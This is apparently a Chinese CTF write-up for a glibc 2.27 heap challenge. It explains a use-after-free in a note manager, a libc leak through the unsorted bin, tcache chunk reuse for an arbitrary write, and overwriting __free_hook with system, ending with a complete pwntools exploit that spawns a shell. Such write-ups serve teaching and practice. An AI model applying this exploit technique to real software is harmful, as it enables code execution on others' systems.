关于题目
Ubuntu GLIBC 2.27-3ubuntu1.6
题目文件
漏洞点分析
UAF
delete函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| void __fastcall delete() { unsigned int v0;
puts("Input your idx:"); v0 = getnum(); if ( v0 <= 0xF && *((_DWORD *)(&heaplist)[v0] + 7) ) { free((&heaplist)[v0][2]); free((&heaplist)[v0]); *((_DWORD *)(&heaplist)[v0] + 7) = 0; } else { puts("Error idx!"); } }
|
其中*((_DWORD *)(&heaplist)[v0] + 7)
只在delete()函数处有判断,show, edit函数仍接受被delete的note。显然构成UAF。
分析其中结构体,&heaplist为bss段存储控制块的数组,即_QWORD*类型。控制块为malloc(0x20)后得到的堆块,结构如下:
1 2 3 4 5 6 7 8
| 0x00-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Note Name | | | 0x10-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Pointer to note's content chunk | 0x18-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Note Size | Note isInUse | 0x20-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
利用
- 泄露libc
先申请一个0x420大小的大堆块chunk0,然后再申请一个堆块chunk1将大堆块与top chunk分隔开,释放大堆块使其进入unsorted bin。此时原先大堆块内容的部分就会变成fd指针。因为之前没有进行过释放操作,unsorted bin中没有其他chunk,因此fd指针指向main_arena内部。此时对释放掉的大堆块调用show,可泄露fd指针,从而计算出libc地址。
在泄露后,重新申请0x420大堆块chunk2,避免之后申请的堆块直接从释放后的chunk0中切割。
- 利用UAF实现任意地址写
申请两个不为0x20大小(即大小范围不在0x19-0x20范围内)的堆块chunk3, chunk4。因为delete note时会同时释放内容块和控制块,控制块大小为0x20,直接进入tcache bin。只要在连续delete两个note后(即释放了两个控制块)再add 0x20大小的note,之前释放的两个0x20堆块就会变为新note的控制块和内容块。所以依次释放chunk4, chunk3,再申请0x20大小的chunk5。此时chunk5的控制块为chunk3的控制块,内容块为chunk4的控制块。只要构造伪造的控制块写入chunk5,即可改变chunk4的内容块指针,实现任意地址写。
- 劫持free_hook
构造伪造的控制块:
1
| payload=b'a'*0x10+p64(libc.sym['__free_hook']-8)+p32(0x40)+p32(1)
|
payload中四部分分别为控制块结构体的四部分(见上),需要注意几点:从free_hook-8
部分开始覆盖是为了在一次覆盖内,同时写入binsh字符串和覆盖free_hook为system;size部分给至少0x10,因为需要覆盖0x10字节内容;最后的p32(1)
是设置chunk4为InUse,使接下来可以被delete
然后向chunk4中写入b'/bin/sh\x00'+p64(libc.sym['system'])
,即覆盖free_hook-8
位置为binsh字符串,覆盖free_hook为system
- getshell
显然只需要delete chunk4即可,相当于:
1
| free((char*)(&heaplist)[4]+0x10);
|
参数部分指针指向free_hook-8
,即binsh字符串,而free函数则被劫持为system函数,实现getshell
参考exp:
(根据官方wp略有改动,官方wp地址,官方exp作者为l1s00t师傅)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import *
context(os='linux',arch='amd64',log_level='debug') fn = './ez_uaf' elf = ELF(fn) libc = ELF('./libc-2.27.so') p=process(fn)
def menu(index): p.sendlineafter('Choice: ', str(index))
def add(size, name, content): menu(1) p.sendlineafter('Size:', str(size)) p.sendafter('Name: ', name) p.sendafter('Content:', content)
def show(index): menu(3) p.sendlineafter('your idx:', str(index))
def edit(index, content): menu(4) p.sendlineafter('Input your idx:', str(index)) p.send(content)
def delete(index): menu(2) p.sendlineafter('Input your idx:', str(index))
add(0x420, 'l1s00t', 'l1s00t') add(0x60, 'l1s00t', 'l1s00t')
delete(0) show(0)
malloc_hook = u64(p.recvuntil('\x7f')[-6:].ljust(0x8, b'\x00')) - 96 - 0x10 libc_base = malloc_hook - libc.sym['__malloc_hook'] libc.address = libc_base log.success('libc_base: ' + hex(libc_base))
free_hook = libc.sym['__free_hook'] system = libc.sym['system'] log.success('system: ' + hex(system))
add(0x420, 'l1s00t', 'l1s00t') add(0x40, 'l1s00t', 'l1s00t') add(0x40, 'l1s00t', 'l1s00t')
delete(4) delete(3)
payload = p64(0) * 2 + p64(free_hook - 8) + p32(0x40) + p32(1) add(0x20, 'l1s00t', payload)
edit(4, b'/bin/sh\x00' + p64(system))
delete(4)
p.interactive()
|